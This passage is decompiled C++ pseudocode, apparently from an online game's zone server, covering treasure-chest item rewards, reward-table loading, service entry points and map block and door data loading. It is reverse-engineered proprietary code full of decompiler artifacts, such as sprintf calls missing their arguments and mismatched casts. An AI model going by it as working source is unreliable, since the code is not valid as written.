*((_BYTE *)v13 + 41); sprintf(option, "-U%d"); v24 = v17->vfptr; v50 = (int)option; v49 = (int)&content; v48 = *(char **)&content.iti_itemstruct.itemid; v24->iac_itemcreate(v17, *(_DWORD *)&content.iti_itemstruct.itemid, &content, option); v50 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v49 = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; ItemTotalInformation::iti_mkregnum(&content, 6, v49, v50); TreasureChestMaker::tcm_ItemMake(&itemmaker, &content); v51 = (ORToken *)((char *)v51 - 1); if ( !v51 ) break; v8 = containerstr; } } v25 = gpp.pp_Buffer; ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)v3 + 8884, (ChargedEffectContainer *)((char *)v3 + 91696)); v26 = *(_DWORD *)v3; LOBYTE(v63) = 2; v27 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v26 + 1916))(v3); uii.uii_Iterator = (ItemBoxIterator *)&ibie; uii.uii_LockList = v27; uii.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { v28 = TreasureChestMaker::tcm_PutInto( &itemmaker, 0, (PROTO_ITEM_CMD *)v25 + 24, uii.uii_Iterator->ibi_finger, (TreasureChestLocationManager *)((char *)v3 + 89150), 9u); if ( v28 ) { inv.Inven = inv.Inven & 0x3FF | 0x2400; inv.Inven ^= (inv.Inven ^ LOWORD(uii.uii_Iterator->ibi_finger)) & 0x3FF; *(_WORD *)v25 = 13389; *((_DWORD *)v25 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v25 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v25 + 6) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3) + 4); *((_DWORD *)v25 + 5) = 0; *((_DWORD *)v25 + 4) = price; v50 = *(_DWORD *)((char *)v3 + 98); v29 = NameString::operator__(&namestring, (Name3 *)v50); *((_WORD *)v25 + 7) = MapDataBox::mdb_2mapid(&mapdatabox, v29); *((_DWORD *)v25 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); v50 = v28 + 25; v49 = (int)"ShineObjectClass::ShinePlayer::sp_KQReward : Packet Too Long"; v30 = ProtocolPacket::pp_SetPacketLen(&gpp, v28 + 25); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v30, (const char *)v49, v50) ) { v31 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v31); } v32 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3); v33 = uii.uii_Iterator->ibi_itembag->vfptr; v50 = uii.uii_Iterator->ibi_finger; v34 = ((int (__stdcall *)(int))v33->ib_GetInventoryCell)(v50); v35 = *(_DWORD *)v3; v51 = (ORToken *)v34; v36 = *(_WORD *)((*(int (__thiscall **)(void *))(v35 + 1916))(v3) + 4); v37 = *(_DWORD *)v32; v50 = (int)&inv; v49 = (int)&inv; LOWORD(containerstr) = v36; MoveManager::MoveManager((DiceTaiSai *)&itemmaker); v48 = v38; v47 = (int)v51; v46 = containerstr; (*(void (__thiscall **)(int, void *, ORToken *, char *, int, int))(v37 + 48))( v32, containerstr, v51, v38, v49, v50); v39 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v40 = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3) + 4); v41 = *(_DWORD *)v39; v50 = -1; v49 = 0; v48 = price; v47 = v40; (*(void (__thiscall **)(int, int, char *, _DWORD, signed int))(v41 + 56))(v39, v40, price, 0, -1); v42 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); ++*(_WORD *)(v42 + 4); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LOBYTE(v63) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v63 = -1; goto LABEL_28; } } ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LOBYTE(v63) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v63 = -1; goto LABEL_24; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake : Null Container", v7); LOBYTE(v63) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v63 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_29: __security_check_cookie(cookie); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (00473B60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem(void *this, int itm) { void *v2; // edi@1 int v3; // edx@1 void *v4; // eax@3 unsigned __int16 v5; // si@4 int v6; // ST10_4@6 CServerInfo::MY_SERVER *v7; // eax@6 ItemDataBox::ItemDataBoxIndex *v8; // eax@6 ItemAttributeClass *v9; // eax@8 __int16 key; // [sp+4h] [bp-88h]@3 FunctionEntarance _; // [sp+8h] [bp-84h]@1 ItemTotalInformation iti; // [sp+Ch] [bp-80h]@6 unsigned int v13; // [sp+7Ch] [bp-10h]@10 int v14; // [sp+88h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; v14 = 0; if ( itm ) { key = *(_WORD *)(itm + 8); v4 = bsearch(&key, &itemconvmap, itemconvmap.icm_Number, 4u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( v4 ) v5 = *((_WORD *)v4 + 1); else v5 = -1; iti.iti_itemstruct.itemid = v5; v6 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v7 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&iti, 6, v7->nZoneNo, v6); iti.iti_itemstruct.itemid = v5; v8 = ItemDataBox::operator__(&itemdatabox, v5); if ( v8 && v8->data ) { v9 = ItemAttributeClassContainer::operator__(&itmattcontainer, v5); v9->vfptr->iac_itemcreate( v9, v5, &iti, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); ShineObjectClass::ShinePlayer::sp_MakeItem(v2, *((_WORD *)v2 + 2), (int)&iti); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); } else { funcallanalizer.fca_stackpoint = v3 - 1; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); } __security_check_cookie(v13); } //----- (00473D00) -------------------------------------------------------- void __thiscall ItemConversionMap::icm_Store(ItemConversionMap *this, unsigned __int16 from, unsigned __int16 to) { unsigned int v3; // eax@1 int v4; // ST04_4@4 v3 = this->icm_Number; if ( v3 >= 0x20 ) { AssertClass::ac_AssertFail(&shineassert, "ItemConversionMap::icm_Store : Too many item map", v3); ShineExit("ItemConversionMap::icm_Store"); } this->icm_Buffer[this->icm_Number].icm_From = from; this->icm_Buffer[this->icm_Number].icm_To = to; v4 = this->icm_Number + 1; this->icm_Number = v4; qsort(this, v4, 4u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } //----- (00473D80) -------------------------------------------------------- void __thiscall MagicContainer::mc_Load(MagicContainer *this) { OptionReader *v1; // edi@1 char v2; // bl@1 int v3; // eax@1 int v4; // esi@1 char *v5; // eax@2 int v6; // ebx@4 int v7; // ebp@7 void *v8; // ebx@10 unsigned int v9; // eax@13 unsigned __int16 v10; // ax@18 int v11; // ecx@18 unsigned int v12; // eax@22 unsigned __int16 v13; // si@22 SkillDataBox::SkillDataIndex *v14; // eax@27 int v15; // edi@28 int v16; // ebp@28 int v17; // edx@29 void *v18; // esi@29 unsigned int v19; // eax@33 ORToken v20; // [sp-20h] [bp-40h]@29 int v21; // [sp-1Ch] [bp-3Ch]@29 ORToken v22; // [sp-18h] [bp-38h]@10 ORToken v23; // [sp-14h] [bp-34h]@4 int v24; // [sp-10h] [bp-30h]@4 char *v25; // [sp-Ch] [bp-2Ch]@4 int v26; // [sp-8h] [bp-28h]@4 int v27; // [sp-4h] [bp-24h]@4 int container; // [sp+10h] [bp-10h]@7 OptionReader *v29; // [sp+14h] [bp-Ch]@1 int containers; // [sp+18h] [bp-8h]@4 ORToken *sommrate; // [sp+1Ch] [bp-4h]@4 v1 = (OptionReader *)this; v29 = (OptionReader *)this; v2 = OptionReader::or_Read(&this->mc_OptionTable, "../9Data/Shine/World/TreasureReward.txt"); v3 = OptionReader::or_ErrorLine(v1); v4 = 0; if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Option read error", v3); v5 = OptionReader::or_ErrorString(v1); AssertClass::ac_AssertFail(&shineassert, "\t", v5); ShineExit("MagicContainer::mc_Load"); } sommrate = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "Container", 0x14u); v6 = OptionReader::or_SelectCountFrom(v1, v23); containers = v6; if ( v6 <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : table Container empty or not exist", v6); ShineExit("MagicContainer::mc_Load"); } v7 = 0; container = 0; if ( v6 > 0 ) { while ( 1 ) { v27 = v7; sommrate = &v22; v26 = v4; v25 = (char *)v4; v24 = v4; *(_DWORD *)&v23.ort_Name[0] = v4; *(_DWORD *)&v22.ort_Name[0] = v4; strncpy(v22.ort_Name, "Container", 0x14u); v8 = OptionReader::or_SelectFromOrder(v1, v22, v27); if ( (v8 != (void *)v4) == v4 ) { AssertClass::ac_AssertFail(&shineassert, "containerstr NULL", v7, containers); ShineExit("MagicContainer::mc_Load"); } v9 = BTree::operator__(&stru_125739F0, (const char *)v8 + 6); if ( v9 == -1 ) LOWORD(v9) = -1; *(_DWORD *)v8 = (unsigned __int16)v9; if ( ((unsigned __int16)v9 != 65535) == v4 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid card", (const char *)v8 + 6); ShineExit("MagicContainer::mc_Load"); } v10 = *(_WORD *)((char *)v8 + 41); v11 = *(_WORD *)((char *)v8 + 41); sommrate = (ORToken *)(v10 < 8u); if ( v10 >= 8u ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Too many content", v11, 8); ShineExit("MagicContainer::mc_Load"); } v27 = (int)UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UsePresentBox"); UseEffect::UsedItemEffect::uie_SetChargedBuffer( &useditemeffect, *(_WORD *)v8, &ui_chestopen, (SkillDataBox::SkillDataIndex *)v27); if ( *((_BYTE *)v8 + 43) != 45 ) { v12 = BTree::operator__(&stru_125739F0, (const char *)v8 + 43); v13 = -1; if ( v12 != -1 ) v13 = v12; if ( v13 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid Dummycard", (const char *)v8 + 43); ShineExit("MagicContainer::mc_Load"); } v27 = *(_WORD *)v8; ItemConversionMap::icm_Store(&itemconvmap, v13, v27); v14 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v13, &ui_dummy2real, v14); v4 = 0; } v15 = 0; v16 = 0; while ( 1 ) { v17 = *((_WORD *)v8 + 2); v27 = v16; v26 = v17; v25 = "Index"; sommrate = &v20; v24 = v4; *(_DWORD *)&v23.ort_Name[0] = v4; *(_DWORD *)&v22.ort_Name[0] = v4; v21 = v4; *(_DWORD *)&v20.ort_Name[0] = v4; strncpy(v20.ort_Name, "Content", 0x14u); v18 = OptionReader::or_SelectFrom(v29, v20, v25, v26, v27); if ( !v18 ) break; if ( *(_DWORD *)v18 != *(_WORD *)((char *)v18 + 47) ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Checksum invalid", container, v16); ShineExit("MagicContainer::mc_Load"); } sommrate = (ORToken *)(*(_DWORD *)((char *)v18 + 43) + v15); v19 = BTree::operator__(&stru_125739F0, (const char *)v18 + 6); if ( v19 == -1 ) LOWORD(v19) = -1; *(_DWORD *)v18 = (unsigned __int16)v19; if ( (unsigned __int16)v19 == 65535 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid reward", (const char *)v18 + 6); ShineExit("MagicContainer::mc_Load"); } v15 = (int)sommrate; ++v16; v4 = 0; } if ( v15 != 1000000 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : TotalRate not 1000", container); ShineExit("MagicContainer::mc_Load"); } ++container; if ( container >= containers ) break; v7 = container; v1 = v29; v4 = 0; } } } //----- (00474100) -------------------------------------------------------- void __cdecl StackPrinting() { FunctionCallingAnalyzer::fca_printf(&funcallanalizer, "5ZoneServerDumpStack"); } //----- (00474110) -------------------------------------------------------- int __stdcall WinMain(HINSTANCE__ *hInstance, HINSTANCE__ *hPrevInstance, char *lpCmdLine, int nCmdShow) { int v4; // ecx@0 _iobuf *v5; // esi@1 int dmp; // [sp+0h] [bp-4h]@1 dmp = v4; v5 = fopen("Size.txt", "w"); fprintf(v5, "%d/%d\n"); fclose(v5); MiniDumper::MiniDumper((MiniDumper *)&dmp); MiniDumper::FuncForStack = (int (*)(void))StackPrinting; return ZoneServer::zs_start(&zoneserver, lpCmdLine); } // 146C1374: using guessed type int (*MiniDumper__FuncForStack)(void); //----- (00474170) -------------------------------------------------------- bool __cdecl OnStart_Service() { return ZoneServer::zs_ServiceRoutineStart(&zoneserver) != 0; } //----- (00474180) -------------------------------------------------------- void __cdecl OnStop_Service() { ZoneServer::zs_serviceend(&zoneserver); } //----- (00474190) -------------------------------------------------------- int __thiscall Name8::operator__(Name8 *this, Name8 *nm) { return *(_DWORD *)&this->n8_name[0] != *(_DWORD *)&nm->n8_name[0] || *(_DWORD *)&this->n8_name[4] != *(_DWORD *)&nm->n8_name[4] || *(_DWORD *)&this->n8_name[8] != *(_DWORD *)&nm->n8_name[8] || *(_DWORD *)&this->n8_name[12] != *(_DWORD *)&nm->n8_name[12] || *(_DWORD *)&this->n8_name[16] != *(_DWORD *)&nm->n8_name[16] || *(_DWORD *)&this->n8_name[20] != *(_DWORD *)&nm->n8_name[20] || *(_DWORD *)&this->n8_name[24] != *(_DWORD *)&nm->n8_name[24] || *(_DWORD *)&this->n8_name[28] != *(_DWORD *)&nm->n8_name[28]; } //----- (004741E0) -------------------------------------------------------- unsigned int __thiscall MapBlock::MapDoorBlockElement::mdbe_Load(MapBlock::MapDoorBlockElement *this, _iobuf *fp) { MapBlock::MapDoorBlockElement *v2; // esi@1 int v3; // ecx@1 int v4; // esi@1 int v6; // [sp+14h] [bp-4h]@1 v2 = this; fread(this, 0x20u, 1u, fp); fread(&v2->mdbe_StartX, 4u, 1u, fp); fread(&v2->mdbe_StartY, 4u, 1u, fp); fread(&v2->mdbe_EndX, 4u, 1u, fp); fread(&v2->mdbe_EndY, 4u, 1u, fp); v6 = (int)&v2->mdbe_DataSize; fread(&v2->mdbe_DataSize, 4u, 1u, fp); fread(&v2->mdbe_Address, 4u, 1u, fp); v3 = v2->mdbe_EndX - v2->mdbe_StartX + 1; v4 = v2->mdbe_EndY - v2->mdbe_StartY + 1; if ( 8 * v3 / 8 != v3 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_Load : Byte alignment error", v3); ShineExit("MapBlock::MapDoorBlockElement::mdbe_Load"); } if ( v4 * v3 / 8 != *(_DWORD *)v6 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_Load : Length error", 0); ShineExit("MapBlock::MapDoorBlockElement::mdbe_Load"); } return 2 * *(_DWORD *)v6; } //----- (00474300) -------------------------------------------------------- void __thiscall MapBlock::MapDoorArray::mda_Load(MapBlock::MapDoorArray *this, char *mapname) { MapBlock::MapDoorArray *v2; // esi@1 _iobuf *v3; // eax@1 _iobuf *v4; // ebp@1 unsigned int v5; // edi@5 unsigned int v6; // ebx@5 MapBlock::MapDoorBlockElement *v7; // ebp@6 void *v8; // eax@9 _iobuf *fp; // [sp+8h] [bp-8Ch]@1 char path[128]; // [sp+10h] [bp-84h]@1 v2 = this; sprintf(path, "../9Data/Shine/BlockInfo/%s.sbi"); v2->mda_TotalHeadCnt = 0; v3 = fopen(path, "r"); v4 = v3; fp = v3; if ( v3 ) { fread(v2, 4u, 1u, v3); if ( v2->mda_TotalHeadCnt >= 0x20 ) { AssertClass::ac_AssertFail( &shineassert, "MapBlock::MapDoorArray::mda_Load : Too many doors", v2->mda_TotalHeadCnt); ShineExit("MapBlock::MapDoorArray::mda_Load"); } v5 = 0; v6 = 0; if ( v2->mda_TotalHeadCnt ) { v7 = v2->mda_Array; do { v5 += MapBlock::MapDoorBlockElement::mdbe_Load(v7, fp); ++v6; ++v7; } while ( v6 < v2->mda_TotalHeadCnt ); v4 = fp; } v8 = operator new__(v5); v2->mda_BlockBuffer = (char *)v8; if ( -(fread(v8, 1u, v5, v4) != v5) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorArray::mda_Load : Buffer size wrong", 0); ShineExit("MapBlock::MapDoorArray::mda_Load"); } fclose(v4); } } //----- (00474430) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::MapBlockInformation(MapBlock::MapBlockInformation *this) { MapBlock::MapBlockInformation *v1; // esi@1 v1 = this; AreaInfoData::AreaInfoData(&this->mbi_AreaData); _eh_vector_constructor_iterator_( v1->mbi_DoorBlockInform.mda_Array, 0x38u, 32, (void (__thiscall *)(void *))MapBlock::MapDoorBlockElement::MapDoorBlockElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mbi_DoorBlockInform.mda_BlockBuffer = 0; v1->mbi_MoveBlockBuffer = 0; v1->mbi_BlockDistribute = 0; v1->mbi_AttackBlockBuffer = 0; } //----- (004744A0) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::_MapBlockInformation(MapBlock::MapBlockInformation *this) { MapBlock::MapBlockInformation *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mbi_MoveBlockBuffer; if ( v2 ) operator delete(v2); if ( v1->mbi_AttackBlockBuffer ) operator delete(v1->mbi_AttackBlockBuffer); if ( v1->mbi_DoorBlockInform.mda_BlockBuffer ) operator delete(v1->mbi_DoorBlockInform.mda_BlockBuffer); _eh_vector_destructor_iterator_( v1->mbi_DoorBlockInform.mda_Array, 0x38u, 32, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); AreaInfoData::_AreaInfoData(&v1->mbi_AreaData); } //----- (00474530) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_IsAttackBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y) { MapBlock::MapBlockInformation *v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 char *v7; // eax@3 int v8; // eax@4 v3 = this; v4 = this->mbi_blockxsize; v5 = 8 * x / 0x32; v6 = 8 * y / 0x32; if ( v5 >= v4 || v6 >= v3->mbi_blockysize ) { LOBYTE(v8) = 1; } else { v7 = v3->mbi_AttackBlockBuffer; if ( v7 ) v8 = (1 << (v5 & 7)) & (unsigned __int8)*(&v7[v6 * v3->mbi_xbyte] + 8 * x / 0x190); else LOBYTE(v8) = 0; } return v8; } //----- (004745A0) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_IsMoveBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y) { MapBlock::MapBlockInformation *v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 int v7; // eax@3 v3 = this; v4 = this->mbi_blockxsize; v5 = 8 * x / 0x32; v6 = 8 * y / 0x32; if ( v5 >= v4 || v6 >= v3->mbi_blockysize ) LOBYTE(v7) = 1; else v7 = (1 << (v5 & 7)) & *(&v3->mbi_MoveBlockBuffer[8 * x / 0x190] + v6 * v3->mbi_xbyte); return v7; } //----- (00474610) -------------------------------------------------------- int __thiscall MapBlock::MapBlockInformationBox::__unnamed::__unnamed(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)(this + 8) = 0; *(_DWORD *)(this + 4) = 0; *(_DWORD *)this = 0; MapBlock::MapBlockInformation::MapBlockInformation((MapBlock::MapBlockInformation *)(this + 20)); return v1; } //----- (00474630) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::__unnamed::___unnamed(int this) { MapBlock::MapBlockInformation::_MapBlockInformation((MapBlock::MapBlockInformation *)(this + 20)); } //----- (00474640) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::_MapBlockInformationBox(MapBlock::MapBlockInformationBox *this) { _eh_vector_destructor_iterator_( this, 0xB50u, 256, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::___unnamed); } //----- (00474660) -------------------------------------------------------- char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, MapBlock::DoorAction da) { MapBlock::MapDoorBlockElement *v4; // esi@1 const void *v5; // ebp@1 unsigned int v6; // edx@3 unsigned int v7; // ebx@3 unsigned int v8; // eax@4 void *v9; // edi@6 void *v10; // eax@13 unsigned int v11; // esi@13 MapBlock::MapDoorBlockElement *v13; // [sp+0h] [bp-14h]@1 unsigned int arraya; // [sp+1Ch] [bp+8h]@3 v4 = this; v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mdbe_DoorAction2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = &array->mda_BlockBuffer[v4->mdbe_Address]; if ( da == 1 ) v5 = (char *)v5 + v4->mdbe_DataSize; v6 = v4->mdbe_StartY; v7 = (v4->mdbe_EndX - v4->mdbe_StartX + 1) >> 3; for ( arraya = v4->mdbe_StartY; v6 <= v4->mdbe_EndY; arraya = v6 ) { v8 = v4->mdbe_StartX; if ( v8 >= blockinform->mbi_blockxsize || v6 >= blockinform->mbi_blockysize ) v9 = 0; else v9 = &blockinform->mbi_MoveBlockBuffer[v8 >> 3] + v6 * blockinform->mbi_xbyte; if ( da == 1 ) { if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_DoorAction : Null block", v9 != 0); LABEL_16: v6 = arraya; goto LABEL_17; } memcpy(v9, v5, (unsigned __int16)v7); v4 = v13; } else { if ( (signed int)v7 > 0 ) { v10 = v9; v11 = v7; do { *(_BYTE *)v10 |= *((_BYTE *)v10 + v5 - v9); v10 = (char *)v10 + 1; --v11; } while ( v11 ); v4 = v13; goto LABEL_16; } } LABEL_17: v5 = (char *)v5 + v7; ++v6; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction2"); return 1; } //----- (004747D0) -------------------------------------------------------- void __thiscall MapBlock::MapDoorArray::mda_CloseAllDoor(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinfo) { MapBlock::MapDoorArray *v2; // esi@1 int v3; // edi@1 MapBlock::MapDoorBlockElement *v4; // ebx@2 v2 = this; v3 = 0; if ( this->mda_TotalHeadCnt ) { v4 = this->mda_Array; do { if ( !MapBlock::MapDoorBlockElement::mdbe_DoorAction(v4, blockinfo, v2, 0) ) AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorArray::mda_CloseAllDoor : Close error", v3); ++v3; ++v4; } while ( v3 < v2->mda_TotalHeadCnt ); } } //----- (00474820) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_OccupCellCheck(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y, int range) { MapBlock::MapBlockInformation *v4; // edi@1 int v5; // esi@1 int v6; // eax@1 int v7; // ecx@1 unsigned int v8; // ebx@1 unsigned int v9; // edx@1 unsigned int v10; // ebp@3 int v11; // edx@3 int dy; // [sp+4h] [bp-20h]@2 int v14; // [sp+8h] [bp-1Ch]@1 unsigned int xa; // [sp+28h] [bp+4h]@1 unsigned int ya; // [sp+2Ch] [bp+8h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_OccupCellCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = range; v6 = -range; v7 = -range; v8 = 8 * x / 0x32; v9 = 8 * y / 0x32; xa = 8 * x / 0x32; ya = 8 * y / 0x32; v14 = -range; if ( -range > range ) { LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); return 0; } while ( 1 ) { dy = v6; if ( v6 <= v5 ) break; LABEL_10: ++v7; v14 = v7; if ( v7 > v5 ) goto LABEL_11; } v10 = v7 + v8; v11 = v6 + v9; while ( 1 ) { if ( v10 >= v4->mbi_blockxsize || v11 >= v4->mbi_blockysize ) goto LABEL_8; if ( !((unsigned __int8)(1 << (v10 & 7)) & *(&v4->mbi_MoveBlockBuffer[v10 >> 3] + v11 * v4->mbi_xbyte)) ) break; v5 = range; v7 = v14; v6 = dy; LABEL_8: ++v6; ++v11; dy = v6; if ( v6 > v5 ) { v6 = -range; v8 = xa; v9 = ya; goto LABEL_10; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); return 1; } //----- (004749A0) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::mbi_Load(MapBlock::MapBlockInformation *this, Name3 *mapid, unsigned int *xsize, unsigned int *ysize) { MapBlock::MapBlockInformation *v4; // edi@1 unsigned int v5; // eax@1 char *v6; // eax@1 _iobuf *v7; // eax@1 _iobuf *v8; // ebp@1 unsigned int v9; // eax@5 void *v10; // eax@8 unsigned int v11; // eax@11 unsigned int v12; // eax@15 char *v13; // eax@15 void *v14; // ebp@15 unsigned int v15; // eax@15 char *v16; // eax@15 unsigned int v17; // eax@18 unsigned int v18; // eax@21 void *v19; // eax@24 unsigned int v20; // eax@27 int v21; // ebp@27 int v22; // eax@30 unsigned int v23; // edx@30 int v24; // ecx@30 unsigned int v25; // edx@30 _iobuf *v26; // ST14_4@30 unsigned int v27; // eax@31 unsigned int v28; // eax@33 char *v29; // eax@33 unsigned int v30; // eax@33 char *v31; // eax@33 unsigned int v32; // eax@33 char *v33; // eax@33 BlockDistribute::BlockingDistribute *v34; // eax@33 int y; // [sp+0h] [bp-ACh]@21 int x; // [sp+4h] [bp-A8h]@18 _iobuf *fp; // [sp+8h] [bp-A4h]@5 int buffer; // [sp+Ch] [bp-A0h]@2 int v39; // [sp+10h] [bp-9Ch]@5 int v40; // [sp+14h] [bp-98h]@18 FunctionEntarance _; // [sp+18h] [bp-94h]@1 char path[128]; // [sp+1Ch] [bp-90h]@1 unsigned int v43; // [sp+9Ch] [bp-10h]@36 int v44; // [sp+A8h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "MapBlock::MapBlockInformation::mbi_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_QWORD *)v6 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v6 + 2) = *(_DWORD *)&mapid->n3_name[8]; v6[12] = 0; v44 = 0; sprintf(path, "../9Data/Shine/BlockInfo/%s.shab"); v7 = fopen(path, "rb"); v8 = v7; if ( v7 ) { if ( fread(&buffer, 4u, 1u, v7) != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read X size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v9 = fread(&v39, 4u, 1u, v8); fp = (_iobuf *)(v9 == 1); if ( v9 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Y size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v10 = operator new__(buffer * v39); v4->mbi_AttackBlockBuffer = (char *)v10; if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in alloc mamory", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v11 = 